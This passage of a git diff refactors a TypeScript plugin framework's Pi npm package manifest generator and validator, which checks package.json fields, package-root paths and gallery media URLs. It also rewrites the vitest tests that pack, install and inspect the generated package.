JsonObject, - type PlatformPrepareContext, -} from '@tokenroll/acplugin'; -import { hasGeneratedSkills } from './components.js'; +import type { + JsonObject, + MetadataDispositionInput, + PackageDocumentInput, + PluginMetadata, +} from '@tokenroll/acplugin/sdk'; import type { PiPackageOptions, PiPlatformOptions } from './types.js'; -/** Pi npm package 清单的稳定逻辑 Document ID。 */ +/** Pi npm package Manifest 的稳定 Document ID。 */ export const PACKAGE_MANIFEST_ID = 'package-manifest'; -/** Pi npm package 清单相对于交付根的固定路径。 */ +/** Pi npm package Manifest 相对于交付根的固定路径。 */ export const PACKAGE_MANIFEST_PATH = 'package.json'; -/** Pi Platform 写入 Document 时使用的固定 owner。 */ -const PLATFORM_OWNER = 'platform:pi' as const; - -/** - * 判断值是否为非空字符串。 - * - * @param value Platform 工厂收到的未知候选。 - * @returns 可安全进入 package.json 时返回 true。 - */ +/** @returns 值是否为非空字符串。 */ function isNonEmptyString(value: unknown): value is string { return typeof value === 'string' && value.trim().length > 0; } -/** - * 校验 Pi Platform 选项并拒绝任意 npm 字段透传。 - * - * @param options 用户声明的 Platform 选项。 - */ +/** 校验 Pi Platform 选项并拒绝任意 npm 字段透传。 */ export function validatePlatformOptions(options: PiPlatformOptions): void { - /** Platform 顶层只允许 strict 和受控 package 子对象。 */ + /** Platform 顶层只允许 Core strict 和受控 package 子对象。 */ const allowed = new Set(['strict', 'package']); for (const field of Object.keys(options)) { if (!allowed.has(field)) @@ -42,112 +27,99 @@ export function validatePlatformOptions(options: PiPlatformOptions): void { } if (options.strict !== undefined && typeof options.strict !== 'boolean') throw new TypeError('Pi strict must be a boolean.'); - if (options.package !== undefined) { - if (options.package === null || typeof options.package !== 'object' || Array.isArray(options.package)) - throw new TypeError('Pi package must be a plain object.'); - /** Pi package 首期只开放官方 Gallery 的 image/video。 */ - for (const field of Object.keys(options.package)) { - if (field !== 'image' && field !== 'video') - throw new TypeError(`Unknown Pi package option "${field}".`); - } - /** field 表示当前 Gallery 可选 URL 或路径字段。 */ - for (const field of ['image', 'video'] as const) { - if (options.package[field] !== undefined && !isNonEmptyString(options.package[field])) - throw new TypeError(`Pi package.${field} must be a non-empty string.`); - } + if (options.package === undefined) + return; + if (options.package === null || typeof options.package !== 'object' || Array.isArray(options.package)) + throw new TypeError('Pi package must be a plain object.'); + for (const field of Object.keys(options.package)) { + if (field !== 'image' && field !== 'video') + throw new TypeError(`Unknown Pi package option "${field}".`); + } + for (const field of ['image', 'video'] as const) { + if (options.package[field] !== undefined && !isNonEmptyString(options.package[field])) + throw new TypeError(`Pi package.${field} must be a non-empty string.`); } } -/** - * 报告统一元数据在 Pi npm package 中的最终去向。 - * - * @param context Platform prepare 阶段的元数据报告出口。 - */ -function reportMetadata(context: PlatformPrepareContext): void { - /** npm 原生支持且 acplugin 会稳定写入的字段。 */ - const emitted = ['name', 'version', 'description', 'author', 'homepage', 'repository', 'license', 'keywords'] as const; - /** field 表示当前必填或实际声明的 npm 元数据。 */ - for (const field of emitted) { - if (field === 'name' || field === 'version' || field === 'description' || context.project.metadata[field] !== undefined) { - context.reportMetadata({ - field, - disposition: 'emitted', - output: `${PACKAGE_MANIFEST_PATH}.${field}`, - reason: `npm package.json supports ${field}.`, - }); - } +/** @returns 当前工程实际 metadata 的完整 npm emitted/omitted disposition。 */ +function metadataDispositions(metadata: PluginMetadata): readonly MetadataDispositionInput[] { + /** outputs 保存字段和确定的 npm Manifest 位置。 */ + const outputs: [string, string | undefined][] = [ + ['name', `${PACKAGE_MANIFEST_PATH}.name`], + ['version', `${PACKAGE_MANIFEST_PATH}.version`], + ['description', `${PACKAGE_MANIFEST_PATH}.description`], + ]; + if (metadata.displayName !== undefined) + outputs.push(['displayName', undefined]); + if (metadata.author !== undefined) { + outputs.push(['author.name', `${PACKAGE_MANIFEST_PATH}.author.name`]); + if (metadata.author.email !== undefined) + outputs.push(['author.email', `${PACKAGE_MANIFEST_PATH}.author.email`]); + if (metadata.author.url !== undefined) + outputs.push(['author.url', `${PACKAGE_MANIFEST_PATH}.author.url`]); } - if (context.project.metadata.displayName !== undefined) { - context.reportMetadata({ - field: 'displayName', - disposition: 'omitted', - reason: 'npm package.json and the Pi package contract have no displayName field.', - }); - context.reportDiagnostic({ - code: 'PI_METADATA_DISPLAY_NAME_OMITTED', - severity: 'warning', - message: 'Pi package output omits displayName because the package contract has no matching field.', - fieldPath: ['displayName'], - }); + for (const field of ['homepage', 'repository', 'license'] as const) { + if (metadata[field] !== undefined) + outputs.push([field, `${PACKAGE_MANIFEST_PATH}.${field}`]); } + if (metadata.keywords.length > 0) + outputs.push(['keywords', `${PACKAGE_MANIFEST_PATH}.keywords`]); + return Object.freeze(outputs.map(([field, output]) => Object.freeze({ + field, + disposition: output === undefined ? 'omitted' as const : 'emitted' as const, + ...(output === undefined ? {} : { output }), + reason: output === undefined + ? 'The npm and Pi package contracts have no displayName field.' + : `npm package.json supports ${field}.`, + }))); } -/** - * 创建可由 Hooks Adapter add-only patch 的 Pi npm package manifest。 - * - * @param context Platform prepare 生命周期上下文。 - * @returns 固定 package.json Document。 - */ -export function createPackageDocument(context: PlatformPrepareContext): DraftDocument { - reportMetadata(context); - /** 统一 Plugin 元数据。 */ - const metadata = context.project.metadata; - /** 工厂边界已经验证的 Pi Gallery 选项。 */ - const packageOptions = context.options.package as PiPackageOptions | undefined; - /** `pi-package` 必须存在且与统一关键词稳定去重。 */ - const keywords = [...new Set([...(metadata.keywords ?? []), 'pi-package'])]; - /** Pi package discovery 使用的静态资源清单。 */ - const pi: Record = { - ...(hasGeneratedSkills(context.project) ? { skills: ['./skills'] } : {}), - ...(context.project.commands.length > 0 ? { prompts: ['./prompts'] } : {}), +/** 创建由 Core codec 序列化、只开放 Hooks discovery 点的 npm Manifest。 */ +export function createPackageDocument(input: { + readonly metadata: PluginMetadata; + readonly options: Readonly; + readonly hasSkills: boolean; + readonly hasPrompts: boolean; +}): { readonly document: PackageDocumentInput; readonly metadata: readonly MetadataDispositionInput[] } { + /** packageOptions 已由 factory 校验并由 Core 防御性复制。 */ + const packageOptions = input.options.package as PiPackageOptions | undefined; + /** pi-package keyword 与作者关键词保持首次出现顺序并稳定去重。 */ + const keywords = [...new Set([...input.metadata.keywords, 'pi-package'])]; + /** pi 只声明当前 Package 中真实存在或配置明确要求的 discovery 字段。 */ + const pi: JsonObject = { + ...(input.hasSkills ? { skills: ['./skills'] } : {}), + ...(input.hasPrompts ? { prompts: ['./prompts'] } : {}), ...(packageOptions?.image === undefined ? {} : { image: packageOptions.image }), ...(packageOptions?.video === undefined ? {} : { video: packageOptions.video }), }; - /** npm 支持的统一元数据和 Pi discovery 配置。 */ + /** Manifest 不继承消费 workspace 的 private/workspaces/dependencies。 */ const value: JsonObject = { - name: metadata.name, - version: metadata.version, - description: metadata.description, + name: input.metadata.name, + version: input.metadata.version, + description: input.metadata.description, type: 'module', keywords, - ...(metadata.author === undefined ? {} : { author: metadata.author }), - ...(metadata.homepage === undefined ? {} : { homepage: metadata.homepage }), - ...(metadata.repository === undefined ? {} : { repository: metadata.repository }), - ...(metadata.license === undefined ? {} : { license: metadata.license }), + ...(input.metadata.author === undefined + ? {} + : { + author: { + name: input.metadata.author.name, + ...(input.metadata.author.email === undefined ? {} : { email: input.metadata.author.email }), + ...(input.metadata.author.url === undefined ? {} : { url: input.metadata.author.url }), + }, + }), + ...(input.metadata.homepage === undefined ? {} : { homepage: input.metadata.homepage }), + ...(input.metadata.repository === undefined ? {} : { repository: input.metadata.repository }), + ...(input.metadata.license === undefined ? {} : { license: input.metadata.license }), pi, - } as unknown as JsonObject; - return { + }; + /** document 是 Platform 唯一拥有且不可被完整替换的 package.json。 */ + const document: PackageDocumentInput = Object.freeze({ id: PACKAGE_MANIFEST_ID, path: PACKAGE_MANIFEST_PATH, format: 'json', - owner: PLATFORM_OWNER, value, - extensionPoints: [['pi', 'extensions']], - }; -} - -/** - * 序列化完成 Adapter patch 的 Pi package manifest。 - * - * @param documents 当前 Platform Draft 的完整 Document 列表。 - * @returns 固定 package.json Artifact。 - */ -export function serializeDocuments(documents: readonly DraftDocument[]): ArtifactInput[] { - /** 按逻辑 ID 查找唯一 npm package manifest。 */ - const manifest = documents.find(document => document.id === PACKAGE_MANIFEST_ID); - if (!manifest || manifest.path !== PACKAGE_MANIFEST_PATH || manifest.format !== 'json') - throw new Error('Pi Platform Draft is missing its canonical package manifest Document.'); - if (documents.length !== 1) - throw new Error('Pi Platform received an unknown Document.'); - return [bytesArtifact(PACKAGE_MANIFEST_PATH, stableJson(manifest.value))]; + extensionPoints: Object.freeze([Object.freeze(['pi', 'extensions'] as const)]), + }); + return Object.freeze({ document, metadata: metadataDispositions(input.metadata) }); } diff --git a/packages/platforms/pi/src/validator.ts b/packages/platforms/pi/src/validator.ts index 637b52c..27c47c6 100644 --- a/packages/platforms/pi/src/validator.ts +++ b/packages/platforms/pi/src/validator.ts @@ -1,81 +1,108 @@ import { promises as fs } from 'node:fs'; import path from 'node:path'; -import type { JsonValue, PlatformValidateContext } from '@tokenroll/acplugin'; +import type { JsonValue, ValidatePackageContext } from '@tokenroll/acplugin/sdk'; import { PACKAGE_MANIFEST_PATH } from './manifest.js'; -/** acplugin 允许写入 Pi package.json 的固定根字段。 */ +/** Pi validator 只消费 SDK 的最终 Package candidate Context。 */ +type PlatformValidateContext = ValidatePackageContext; + +/** ACPlugin 允许写入 Pi package.json 的固定根字段。 */ const PACKAGE_FIELDS = new Set([ 'name', 'version', 'description', 'type', 'author', 'homepage', 'repository', 'license', 'keywords', 'pi', ]); -/** Pi discovery 对象允许的固定字段。 */ +/** Pi discovery 对象允许的官方字段。 */ const PI_FIELDS = new Set(['extensions', 'skills', 'prompts', 'themes', 'image', 'video']); /** JSON 对象的运行时只读索引类型。 */ type JsonRecord = Record; -/** - * 判断未知值是否为非数组 JSON 对象。 - * - * @param value 从候选清单解析的未知值。 - * @returns 可以按字段读取时返回 true。 - */ +/** @returns 未知值是否为非数组 JSON 对象。 */ function isRecord(value: unknown): value is JsonRecord { return value !== null && typeof value === 'object' && !Array.isArray(value); } -/** - * 向 Core 提交 Pi package 候选校验错误。 - * - * @param context Platform validateBundle 生命周期上下文。 - * @param code 稳定诊断码。 - * @param message 不包含宿主绝对路径的错误信息。 - */ +/** 向 Core 提交不含宿主路径的 Pi candidate 错误。 */ function report(context: PlatformValidateContext, code: string, message: string): void { - context.reportDiagnostic({ code, severity: 'error', message }); + context.diagnostics.report({ code, severity: 'error', message }); +} + +/** @returns 安全 package-root POSIX 引用对应的 Asset path。 */ +function packageAssetPath(value: string): string | undefined { + if (!value.startsWith('./') || value.includes('\\') || value.includes('\0')) + return undefined; + /** relative 不允许空、dot、parent 或 glob segment。 */ + const relative = value.slice(2).replace(/\/+$/u, ''); + /** segments 用于精确拒绝目录逃逸和 ACPlugin 未生成的 glob 语义。 */ + const segments = relative.split('/'); + if (relative.length === 0 || segments.some(segment => segment === '' || segment === '.' || segment === '..' || /[*?[\]{}!]/u.test(segment))) + return undefined; + return relative; } -/** - * 校验一个 Pi discovery 路径数组安全且有对应 Artifact。 - * - * @param context Platform validateBundle 生命周期上下文。 - * @param artifacts 当前 Artifact 路径集合。 - * @param field Pi discovery 字段名。 - * @param value 待验证的数组值。 - */ +/** 校验一个 Pi discovery 数组安全且能在最终 Package 中找到资源。 */ function validateDiscoveryPaths( context: PlatformValidateContext, - artifacts: ReadonlySet, - field: string, + assets: ReadonlySet, + field: 'extensions' | 'skills' | 'prompts' | 'themes', value: JsonValue, ): void { - if (!Array.isArray(value) || value.length === 0 || value.some(item => typeof item !== 'string' || !item.startsWith('./'))) { - report(context, 'PI_DISCOVERY_PATH_INVALID', `pi.${field} must contain safe package-root paths.`); + if (!Array.isArray(value) || value.length === 0 || value.some(item => typeof item !== 'string')) { + report(context, 'PI_DISCOVERY_PATH_INVALID', `pi.${field} must contain package-root path strings.`); return; } - /** reference 表示当前 Pi package discovery 根。 */ for (const reference of value as readonly string[]) { - /** 去掉 `./` 和尾部斜线后的 Artifact 路径前缀。 */ - const target = reference.slice(2).replace(/\/+$/u, ''); - if (target === '' || target === '..' || target.startsWith('../') - || ![...artifacts].some(artifact => artifact === target || artifact.startsWith(`${target}/`))) { - report(context, 'PI_DISCOVERY_PATH_MISSING', `pi.${field} references a missing package resource.`); + /** target 是引用指向的候选文件或目录根。 */ + const target = packageAssetPath(reference); + if (target === undefined) { + report(context, 'PI_DISCOVERY_PATH_INVALID', `pi.${field} contains an unsafe package-root path.`); + continue; } + if (![...assets].some(asset => asset === target || asset.startsWith(`${target}/`))) + report(context, 'PI_DISCOVERY_PATH_MISSING', `pi.${field} references a missing package resource.`); } } -/** - * 校验 Pi npm package 不泄漏 workspace/private 字段且能发现全部资源。 - * - * @param context Platform 提供的已物化候选交付单元。 - */ -export async function validatePiBundle(context: PlatformValidateContext): Promise { - /** 当前候选交付单元的规范 Artifact 路径集合。 */ - const artifacts = new Set(context.candidate.unit.artifacts.map(artifact => artifact.path)); - /** 从候选根加载且仍需严格校验的 package manifest。 */ +/** 校验 Pi Gallery image/video 引用不含凭据且本地资源存在。 */ +function validateGalleryReference( + context: PlatformValidateContext, + assets: ReadonlySet, + field: 'image' | 'video', + value: JsonValue, +): void { + if (typeof value !== 'string' || value.trim().length === 0) { + report(context, 'PI_GALLERY_REFERENCE_INVALID', `pi.${field} must be a non-empty URL or package-root path.`); + return; + } + /** local 是 image 可使用的 package 内静态资源引用。 */ + const local = packageAssetPath(value); + if (local !== undefined) { + if (field === 'video' || !assets.has(local)) + report(context, 'PI_GALLERY_REFERENCE_INVALID', `pi.${field} does not reference a supported package resource.`); + return; + } + try { + /** 远程 Gallery 媒体只允许不带内联凭据的 HTTP(S) URL。 */ + const url = new URL(value); + if ((url.protocol !== 'http:' && url.protocol !== 'https:') || url.username !== '' || url.password !== '') + throw new TypeError('Unsafe URL.'); + if (field === 'video' && !url.pathname.toLowerCase().endsWith('.mp4')) + throw new TypeError('Video must be MP4.'); + if (field === 'image' && !/\.(?:png|jpe?g|gif|webp)$/iu.test(url.pathname)) + throw new TypeError('Image format is unsupported.'); + } catch { + report(context, 'PI_GALLERY_REFERENCE_INVALID', `pi.${field} must use a supported HTTP(S) media URL without credentials.`); + } +} + +/** 校验 Pi npm Package 的 manifest、discovery closure 和 workspace 隔离。 */ +export async function validatePiPackage(context: PlatformValidateContext): Promise { + /** 当前候选 Package 的规范 Asset 路径集合。 */ + const assets = new Set(context.candidate.unit.assets.map(asset => asset.path)); + /** 从候选根加载且仍需严格校验的 npm Manifest。 */ let manifest: JsonRecord; try { - /** JSON.parse 返回的未知值必须继续验证对象形态。 */ + /** JSON.parse 返回 unknown,不能信任 Core codec 之外的候选物化结果。 */ const value: unknown = JSON.parse(await fs.readFile(path.join(context.candidate.root, PACKAGE_MANIFEST_PATH), 'utf8')); if (!isRecord(value)) throw new TypeError('Manifest is not an object.'); @@ -84,7 +111,7 @@ export async function validatePiBundle(context: PlatformValidateContext): Promis report(context, 'PI_PACKAGE_READ_FAILED', 'package.json must contain a JSON object.'); return; } - /** field 表示当前 package.json 根字段,用于阻止 workspace/private 泄漏。 */ + /** field 遍历用于拒绝 workspace/private/dependency 字段泄漏。 */ for (const field of Object.keys(manifest)) { if (!PACKAGE_FIELDS.has(field)) report(context, 'PI_PACKAGE_FIELD_UNKNOWN', `Unknown generated Pi package field "${field}".`); @@ -96,20 +123,25 @@ export async function validatePiBundle(context: PlatformValidateContext): Promis || typeof manifest.description !== 'string' || manifest.description.trim().length === 0) { report(context, 'PI_PACKAGE_METADATA_INVALID', 'Pi package requires non-empty name, version, and description.'); } - if (!Array.isArray(manifest.keywords) || !manifest.keywords.includes('pi-package')) + if (manifest.type !== 'module') + report(context, 'PI_PACKAGE_MODULE_TYPE_INVALID', 'Pi package must declare type module.'); + if (!Array.isArray(manifest.keywords) || manifest.keywords.some(keyword => typeof keyword !== 'string') || !manifest.keywords.includes('pi-package')) report(context, 'PI_PACKAGE_KEYWORD_MISSING', 'Pi package keywords must include pi-package.'); if (!isRecord(manifest.pi)) { report(context, 'PI_DISCOVERY_CONFIG_INVALID', 'package.json.pi must be an object.'); return; } - /** field 表示当前 Pi discovery 字段,用于拒绝任意 package loader 配置。 */ + /** field 遍历拒绝任意 package loader 配置或未知执行入口。 */ for (const field of Object.keys(manifest.pi)) { if (!PI_FIELDS.has(field)) report(context, 'PI_DISCOVERY_FIELD_UNKNOWN', `Unknown generated Pi discovery field "${field}".`); } - /** field 表示当前可能由 Platform 或 Hooks Extension 生成的资源目录数组。 */ - for (const field of ['skills', 'prompts', 'extensions'] as const) { + for (const field of ['skills', 'prompts', 'extensions', 'themes'] as const) { + if (manifest.pi[field] !== undefined) + validateDiscoveryPaths(context, assets, field, manifest.pi[field]); + } + for (const field of ['image', 'video'] as const) { if (manifest.pi[field] !== undefined) - validateDiscoveryPaths(context, artifacts, field, manifest.pi[field]); + validateGalleryReference(context, assets, field, manifest.pi[field]); } } diff --git a/packages/platforms/pi/test/platform.test.ts b/packages/platforms/pi/test/platform.test.ts index bb9710b..8408efd 100644 --- a/packages/platforms/pi/test/platform.test.ts +++ b/packages/platforms/pi/test/platform.test.ts @@ -4,28 +4,98 @@ import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; import { - bytesArtifact, - DeliveryUnitRegistry, - executeLifecycle, - resolveConfig, - stableJson, - withMaterializedDeliveryUnitCandidate, + defineExtension, + resolveKernelConfig, + runKernelBuildSession, + type AcpluginExtension, + type BytesAssetRef, type DiagnosticInput, - type ResolvedConfig, + type JsonValue, + type ValidatePackageContext, } from '@acplugin/core'; import { pi } from '../src/index.js'; +import { PACKAGE_MANIFEST_PATH } from '../src/manifest.js'; +import { validatePiPackage } from '../src/validator.js'; /** 测试结束后统一删除的临时工程根目录。 */ const temporaryRoots: string[] = []; -/** 在指定目录运行 pnpm,并在失败时保留完整诊断。 */ -async function runPnpm(cwd: string, args: readonly string[]): Promise { - return new Promise((resolve, reject) => { - /** 不经过 Shell 插值的 pnpm 子进程。 */ +/** 创建包含最小配置占位符且登记清理的工程。 */ +async function temporaryProject(): Promise { + /** root 是当前测试独占的临时工程。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-pi-platform-')); + temporaryRoots.push(root); + await fs.mkdir(path.join(root, 'src'), { recursive: true }); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), 'export default {}\n'); + return root; +} + +/** 写入 Prompt、Skill、Agent fallback、辅助文件和 Gallery 图片。 */ +async function writeCompleteProject(root: string): Promise { + await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/skills/review/references'), { recursive: true }); + await fs.mkdir(path.join(root, 'src/agents'), { recursive: true }); + await fs.mkdir(path.join(root, 'public/assets'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/commands/release.md'), `--- +description: Prepare a release. +argumentHint: +--- +Prepare release {{arguments}}. +`); + await fs.writeFile(path.join(root, 'src/skills/review/SKILL.md'), '---\ndescription: Review a change.\n---\nReview the change.\n'); + await fs.writeFile(path.join(root, 'src/skills/review/references/checklist.md'), 'Review checklist.\n'); + await fs.writeFile(path.join(root, 'src/agents/reviewer.md'), `--- +description: Review code. +model: capable +capabilities: [filesystem:read, search] +--- +Review code. +`); + await fs.writeFile(path.join(root, 'public/assets/cover.png'), Buffer.from([137, 80, 78, 71])); +} + +/** 执行只包含 Pi 的真实 Kernel v2 BuildSession。 */ +async function run(input: { + readonly root: string; + readonly platform?: ReturnType; + readonly extensions?: readonly AcpluginExtension[]; + readonly command?: 'validate' | 'inspect' | 'build'; + readonly commit?: boolean; +}) { + /** command 决定生命周期语义,commit 只允许 build 使用。 */ + const command = input.command ?? 'build'; + /** resolved 与公开 Project API 使用相同的严格配置边界。 */ + const resolved = resolveKernelConfig({ + name: 'release-tools', + version: '1.2.3', + description: 'Release workflow tools.', + author: { name: 'TokenRoll', email: 'maintainers@example.com' }, + license: 'MIT', + keywords: ['release'], + platforms: [input.platform ?? pi()], + extensions: input.extensions ?? [], + }, { + projectRoot: input.root, + configFile: path.join(input.root, 'acplugin.config.ts'), + command, + mode: 'production', + }); + expect(resolved.diagnostics).toEqual([]); + return (await runKernelBuildSession({ + config: resolved.config!, + frameworkVersion: 'test', + commit: command === 'build' && (input.commit ?? true), + })).report; +} + +/** 不经过 Shell 插值运行 pnpm,用于真实 npm Package 消费验证。 */ +async function runPnpm(cwd: string, args: readonly string[]): Promise { + await new Promise((resolve, reject) => { + /** child 保留 stdout/stderr,失败时给出完整 pack/install 诊断。 */ const child = spawn('pnpm', [...args], { cwd, stdio: ['ignore', 'pipe', 'pipe'] }); - /** pnpm 标准输出。 */ + /** stdout 保存真实包管理器输出。 */ let stdout = ''; - /** pnpm 标准错误。 */ + /** stderr 保存真实包管理器错误。 */ let stderr = ''; child.stdout.setEncoding('utf8'); child.stderr.setEncoding('utf8'); @@ -38,121 +108,298 @@ async function runPnpm(cwd: string, args: readonly string[]): Promise { child.once('error', reject); child.once('exit', (code) => { if (code === 0) - resolve(stdout); + resolve(); else reject(new Error(`pnpm ${args.join(' ')} failed (${code ?? 'signal'}):\n${stdout}${stderr}`)); }); }); } -/** 创建同时包含 Pi Skill 和 Prompt Template 的规范工程。 */ -async function createProject(): Promise { - /** 当前用例独占的工程根目录。 */ - const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-pi-platform-')); - temporaryRoots.push(root); - await fs.mkdir(path.join(root, 'src/commands'), { recursive: true }); - await fs.mkdir(path.join(root, 'src/skills/review'), { recursive: true }); - await fs.mkdir(path.join(root, 'public/assets'), { recursive: true }); - await fs.writeFile(path.join(root, 'src/commands/release.md'), '---\ndescription: Prepare a release.\nargumentHint: \n---\nPrepare release {{arguments}}.\n'); - await fs.writeFile(path.join(root, 'src/skills/review/SKILL.md'), '---\ndescription: Review a change.\n---\nReview the change.\n'); - await fs.writeFile(path.join(root, 'public/assets/cover.png'), Buffer.from([137, 80, 78, 71])); - return root; +/** 创建向 package.json.pi.extensions add-only 贡献一个 Pi Extension 的 Fixture。 */ +function hooksContribution(input: { + readonly id?: string; + readonly reference?: JsonValue; + readonly asset?: { readonly path: string; readonly bytes: string }; +} = {}): AcpluginExtension { + /** id 允许碰撞测试创建不同 Extension owner。 */ + const id = input.id ?? 'hooks-fixture'; + return defineExtension, Record, Record, { readonly asset?: BytesAssetRef }>({ + id, + apiVersion: '1', + options: {}, + resourceRoots: [], + /** 当前 Fixture 没有跨 Session 状态或依赖。 */ + createSession: () => ({ + /** 空对象表示 Fixture 本轮已发现。 */ + discover: () => ({}), + /** delivery tuple 必须由 Pi Contributor 完整覆盖。 */ + validate: (_context, state) => ({ + state, + subjects: [{ subject: `hook:${id}`, capabilities: ['delivery'] }], + }), + /** 可选 Extension JS 只通过 owner-scoped Asset Service 创建。 */ + async build({ assets }) { + if (input.asset === undefined) + return { state: {} }; + /** asset 将由同 owner Contributor add-only 追加。 */ + const asset = await assets.fromBytes({ + bytes: input.asset.bytes, + origin: { operation: 'pi-hooks-fixture', subjects: [`hook:${id}`] }, + }); + return { state: { asset } }; + }, + contributors: [{ + platform: 'pi', + platformApiVersion: '1', + /** Contributor 只填写精确声明点并追加自己的 Asset。 */ + contribute: (_context, built) => ({ + documentFields: [{ + document: 'package-manifest', + path: ['pi', 'extensions'], + value: input.reference ?? ['./extensions/acplugin-hooks.mjs'], + }], + ...(input.asset === undefined || built.asset === undefined + ? {} + : { assets: [{ path: input.asset.path, asset: built.asset }] }), + compatibility: [{ + subject: `hook:${id}`, + capability: 'delivery', + level: 'native', + reason: 'Pi loads the generated Hook bridge as a native package Extension.', + }], + }), + }], + }), + }); } -/** 解析仅包含 Pi Platform 的严格测试配置。 */ -function resolvedConfig(root: string): ResolvedConfig { - /** 带 Gallery 图片和 npm 元数据的配置解析结果。 */ - const result = resolveConfig({ - name: 'release-tools', - version: '1.2.3', - description: 'Release workflow tools.', - author: { name: 'TokenRoll' }, - license: 'MIT', - platforms: [pi({ package: { image: './assets/cover.png' } })], - }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); - expect(result.diagnostics).toEqual([]); - return result.config!; +/** 创建没有 Pi Contributor 的 MCP Fixture,验证显式 unsupported。 */ +function unsupportedMcp(): AcpluginExtension { + return defineExtension({ + id: 'mcp-fixture', + apiVersion: '1', + resourceRoots: [], + /** 缺少 consumer 时 Core 不应调用 build。 */ + createSession: () => ({ + /** 空状态表示测试 MCP 已被发现。 */ + discover: () => ({}), + /** transport tuple 必须由 Core 为缺失 consumer 报告 unsupported。 */ + validate: (_context, state) => ({ + state, + subjects: [{ subject: 'mcp:docs', capabilities: ['transport'] }], + }), + /** 该回调被调用即表示 Core 错误构建了不受支持的 MCP。 */ + build: () => { + throw new Error('Pi must not build an unsupported MCP server.'); + }, + contributors: [], + }), + }); } afterEach(async () => { await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); }); -describe('Pi Platform', () => { - it('packs, installs, and discovers package Skills and Prompts from an independent consumer', async () => { - /** 包含全部首期 Pi 原生资源的规范工程。 */ - const root = await createProject(); - /** 经过 Pi package Validator 的构建结果。 */ - const result = await executeLifecycle({ - config: resolvedConfig(root), - /** 纯 Markdown Platform Fixture 不加载 TypeScript descriptor。 */ - loadTypeScriptModule: async () => undefined, - environment: {}, - }); - /** Pi npm package 的最终交付根。 */ +describe('Pi Platform Package API', () => { + it('packs, installs, and discovers native Prompts/Skills and Agent guidance from an independent consumer', async () => { + /** root 覆盖 Pi Package 的全部 canonical Component 和 Public 继承。 */ + const root = await temporaryProject(); + await writeCompleteProject(root); + /** relaxed 只接受已明确报告的 Agent fallback 降级。 */ + const report = await run({ root, platform: pi({ strict: false, package: { image: './assets/cover.png' } }) }); + /** output 是已通过 Pi candidate validator 的 npm Package 根。 */ const output = path.join(root, 'dist/pi/package'); - /** 独立于生成工程的真实 package 消费目录。 */ + /** consumer 与生成工程隔离,证明 npm pack 后资源仍可发现。 */ const consumer = path.join(root, 'consumer'); - /** pnpm pack 存放 tarball 的独立目录。 */ + /** tarballs 避免 pack 输出污染受管 dist。 */ const tarballs = path.join(root, 'tarballs'); await fs.mkdir(consumer); await fs.mkdir(tarballs); await fs.writeFile(path.join(consumer, 'package.json'), '{"name":"pi-consumer","version":"1.0.0","private":true}\n'); await runPnpm(output, ['pack', '--pack-destination', tarballs]); - /** 当前 pack 命令生成的唯一 tarball。 */ + /** tarball 是 pack 生成的唯一安装输入。 */ const tarball = path.join(tarballs, (await fs.readdir(tarballs)).find(file => file.endsWith('.tgz'))!); await runPnpm(consumer, ['add', '--ignore-scripts', tarball]); - /** 从独立 node_modules 加载的 Pi package manifest。 */ + /** installedRoot 模拟 Pi 从 node_modules 读取已安装 Package。 */ const installedRoot = path.join(consumer, 'node_modules/release-tools'); - /** Pi 启动时用来发现 package 资源的配置。 */ - const manifest = JSON.parse(await fs.readFile(path.join(installedRoot, 'package.json'), 'utf8')) as { + /** manifest 保留 ACPlugin 控制的最小 npm/Pi 发现契约。 */ + const manifest = JSON.parse(await fs.readFile(path.join(installedRoot, PACKAGE_MANIFEST_PATH), 'utf8')) as { readonly private?: boolean; readonly workspaces?: unknown; readonly pi: { readonly skills: readonly string[]; readonly prompts: readonly string[]; readonly image: string }; }; - expect(result.success).toBe(true); + expect(report.success, JSON.stringify(report.diagnostics, null, 2)).toBe(true); expect(manifest.private).toBeUndefined(); expect(manifest.workspaces).toBeUndefined(); expect(manifest.pi).toEqual({ image: './assets/cover.png', prompts: ['./prompts'], skills: ['./skills'] }); - await fs.access(path.join(installedRoot, manifest.pi.skills[0]!.slice(2), 'review/SKILL.md')); - await fs.access(path.join(installedRoot, manifest.pi.prompts[0]!.slice(2), 'release.md')); - await fs.access(path.join(installedRoot, manifest.pi.image.slice(2))); + await fs.access(path.join(installedRoot, 'prompts/release.md')); + await fs.access(path.join(installedRoot, 'skills/review/SKILL.md')); + await fs.access(path.join(installedRoot, 'skills/review/references/checklist.md')); + await fs.access(path.join(installedRoot, 'skills/agent-reviewer/SKILL.md')); + await fs.access(path.join(installedRoot, 'assets/cover.png')); + await expect(fs.readFile(path.join(installedRoot, 'prompts/release.md'), 'utf8')).resolves.toContain('$ARGUMENTS'); + expect(report.compatibility).toEqual(expect.arrayContaining([ + expect.objectContaining({ subject: 'command:release', capability: 'component', level: 'transform' }), + expect.objectContaining({ subject: 'skill:review', capability: 'component', level: 'native' }), + expect.objectContaining({ subject: 'agent:reviewer', capability: 'component', level: 'degraded' }), + ])); + expect(report.metadata).toContainEqual(expect.objectContaining({ field: 'author.email', disposition: 'emitted' })); }, 30_000); - it('rejects workspace metadata in a final package with the platform-specific code', async () => { - /** 候选物化使用的独占临时父目录。 */ - const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-pi-validator-')); - temporaryRoots.push(root); - /** 真实 Platform Validator 与 Core Registry 共同验证的无效单元。 */ - const platform = pi(); - /** 为无效候选补齐 owner/hash 的 Core Registry。 */ - const units = new DeliveryUnitRegistry(new Map()); - /** 包含禁止 workspace 元数据的已注册候选单元。 */ - const unit = await units.add(platform.id, { - id: 'package', - role: 'primary', - type: 'package', - artifacts: [bytesArtifact('package.json', stableJson({ - name: 'invalid-pi-package', - version: '1.0.0', - description: 'Invalid workspace metadata fixture.', - type: 'module', - keywords: ['pi-package'], - private: true, - pi: {}, - }))], + it('accepts a Hooks add-only Contribution and rejects duplicate ownership of the same Document point', async () => { + /** validRoot 只验证一个原生 Pi Extension Asset 与声明。 */ + const validRoot = await temporaryProject(); + /** hooks 追加候选内实际存在的 JS 文件。 */ + const hooks = hooksContribution({ + asset: 